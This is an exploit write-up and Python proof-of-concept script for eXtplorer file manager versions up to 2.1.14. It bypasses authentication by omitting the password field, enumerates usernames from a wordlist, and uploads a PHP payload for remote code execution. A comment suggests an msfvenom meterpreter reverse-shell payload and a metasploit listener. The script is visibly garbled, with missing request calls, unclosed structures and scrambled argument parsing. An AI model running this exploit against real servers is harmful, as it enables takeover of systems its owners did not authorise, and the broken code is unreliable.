# Exploit Title: eXtplorer<= 2.1.14 - Authentication Bypass & Remote Code Execution (RCE)  
# Exploit Author: ErPaciocco  
# Author Website:  
# Vendor Homepage:  
# Vendor:  
# ==============  
# Product:  
# ==================  
# eXtplorer <= v2.1.14  
# eXtplorer is a PHP and Javascript-based File Manager, it allows to browse  
# directories, edit, copy, move, delete,  
# search, upload and download files, create & extract archives, create new  
# files and directories, change file  
# permissions (chmod) and more. It is often used as FTP extension for popular  
# applications like Joomla.  
# Vulnerability Type:  
# ======================  
# Authentication Bypass (& Remote Command Execution)  
# Vulnerability Details:  
# =====================  
# eXtplorer authentication mechanism allows an attacker  
# to login into the Admin Panel without knowing the password  
# of the victim, but only its username. This vector is exploited  
# by not supplying password in POST request.  
# Tested on Windows  
# Reproduction steps:  
# ==================  
# 1) Navigate to Login Panel  
# 2) Intercept authentication POST request to /index.php  
# 3) Remove 'password' field  
# 4) Send it and enjoy!  
# Exploit code(s):  
# ===============  
# Run below PY script from CLI...  
# []  
# Proof Of Concept  
import requests  
print(f"ERROR: RUN: pip install requests")  
import sys  
import time  
import urllib.parse  
import re  
import random  
import string  
import socket  
import time  
import base64  
TARGET = None  
_HOST = None  
_PATH = None  
_SESSION = None  
_HEADERS = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0',  
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',  
'Accept-Language': 'it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3',  
'Accept-Encoding': 'gzip, deflate, br',  
'Connection': 'keep-alive' }  
def detect():  
global _HOST  
global _PATH  
global _SESSION  
global _HEADERS  
_HOST = TARGET[0].split(':')[0] + '://' + TARGET[0].split('/')[2]  
_PATH = '/'.join(TARGET[0].split('/')[3:]).rstrip('/')  
_SESSION = requests.Session()  
raw = _SESSION.get(f"{_HOST}/{_PATH}/extplorer.xml", headers=_HEADERS, verify=False)  
if raw.status_code == 200:  
ver = re.findall("<version>(((\d+)\.?)+)<\/version>", raw.text, re.MULTILINE)  
if int(ver[0][2]) < 15:  
return True  
return False  
def auth_bypass():  
global _HOST  
global _PATH  
global _SESSION  
global _HEADERS  
global WORDLIST  
global _BUILTIN_WL  
_HEADERS['X-Requested-With'] = 'XMLHttpRequest'  
params = {'option': 'com_extplorer',  
'action': 'login',  
'type': 'extplorer',  
'username': 'admin',  
if WORDLIST != None:  
info(f"Attempting to guess an username from builtin wordlist")  
wl = _BUILTIN_WL  
info(f"Attempting to guess an username from wordlist: {WORDLIST[0]}")  
with open(WORDLIST[0], "r") as f:  
wl ='\n')  
for user in wl:  
params = {'option': 'com_extplorer',  
'action': 'login',  
'type': 'extplorer',  
'username': user,  
info(f"Trying with {user}")  
res ="{_HOST}/{_PATH}/index.php", data=params, headers=_HEADERS, verify=False)  
if "successful" in res.text:  
return (user)  
res ="{_HOST}/{_PATH}/index.php", data=params, headers=_HEADERS, verify=False)  
if "successful" in res.text:  
return ('admin')  
return False  
def rce():  
global _HOST  
global _PATH  
global _SESSION  
global _HEADERS  
global _PAYLOAD  
tokenReq = _SESSION.get(f"{_HOST}/{_PATH}/index.php?option=com_extplorer&action=include_javascript&file=functions.js")  
token = re.findall("token:\s\"([a-f0-9]{32})\"", tokenReq.text)[0]  
info(f"CSRF Token obtained: {token}")  
payload = editPayload()  
info(f"Payload edited to fit local parameters")  
params = {'option': 'com_extplorer',  
'action': 'upload',  
'dir': f"./{_PATH}",  
'requestType': 'xmlhttprequest',  
'token': token}  
name = ''.join(random.choices(string.ascii_uppercase + string.digits, k=6))  
files = {'userfile[0]':(f"{name}.php", payload)}  
req ="{_HOST}/{_PATH}/index.php", data=params, files=files, verify=False)  
if "successful" in req.text:  
info(f"File {name}.php uploaded in root dir")  
info(f"Now set a (metasploit) listener and go to: {_HOST}/{_PATH}/{name}.php")  
def attack():  
if not TARGET:  
error("TARGET needed")  
if TARGET:  
if not detect():  
error("eXtplorer vulnerable instance not found!")  
info("eXtplorer endpoint is vulnerable!")  
username = auth_bypass()  
if username:  
info("Auth bypassed!")  
error("Username 'admin' not found")  
def error(message):  
print(f"[E] {message}")  
def info(message):  
print(f"[I] {message}")  
def editPayload():  
# You can generate payload with msfvenom and paste below base64 encoded result  
# msfvenom -p php/meterpreter_reverse_tcp LHOST=<yourIP> LPORT=<yourPORT> -f base64  
return base64.b64decode("PD9waHAgZWNobyAiSEFDS0VEISI7ICA/Pg==")  
def help():  
print(r"""eXtplorer <= 2.1.14 exploit - Authentication Bypass & Remote Code Execution  
python3 -t <target-host> [-w <userlist>] [-wb]  
-t Target host. Provide target IP address (and optionally port).  
-w Wordlist for user enumeration and authentication (Optional)  
-wb Use built-in wordlist for user enumeration (Optional)  
-h Show this help menu.  
return True  
args = {"t" : (1, lambda *x: (globals().update(TARGET = x[0]))),  
"w" : (1, lambda *x: (globals().update(WORDLIST = x[0]))),  
"wb": (0, lambda *x: (globals().update(WORDLIST = _BUILTIN_WL))),  
"h" : (0, lambda *x: (help() and exit(0)))}  
if __name__ == "__main__":  
i = 1  
args[ arg[1:]][1](sys.argv[i+1: (i:=i+1+args[arg[1:]][0]) ])  
for arg in [k  
for k in sys.argv[i:]  
if arg[0] == '-'  
# ///////////////////////////////////////////////////////////////////////  
# [Script examples]  
# c:\>python -t  
# c:\>python -t -w wordlist.txt  
# c:\>python -t -wb  
# Exploitation Method:  
# ======================  
# Remote  
# [+] Disclaimer  
# The information contained within this advisory is supplied "as-is" with no  
# warranties or guarantees of fitness of use or otherwise.  
# Permission is hereby granted for the redistribution of this advisory,  
# provided that it is not altered except by reformatting it, and  
# that due credit is given. Permission is explicitly given for insertion in  
# vulnerability databases and similar, provided that due credit  
# is given to the author. The author is not responsible for any misuse of the  
# information contained herein and accepts no responsibility  
# for any damage caused by the use or misuse of this information.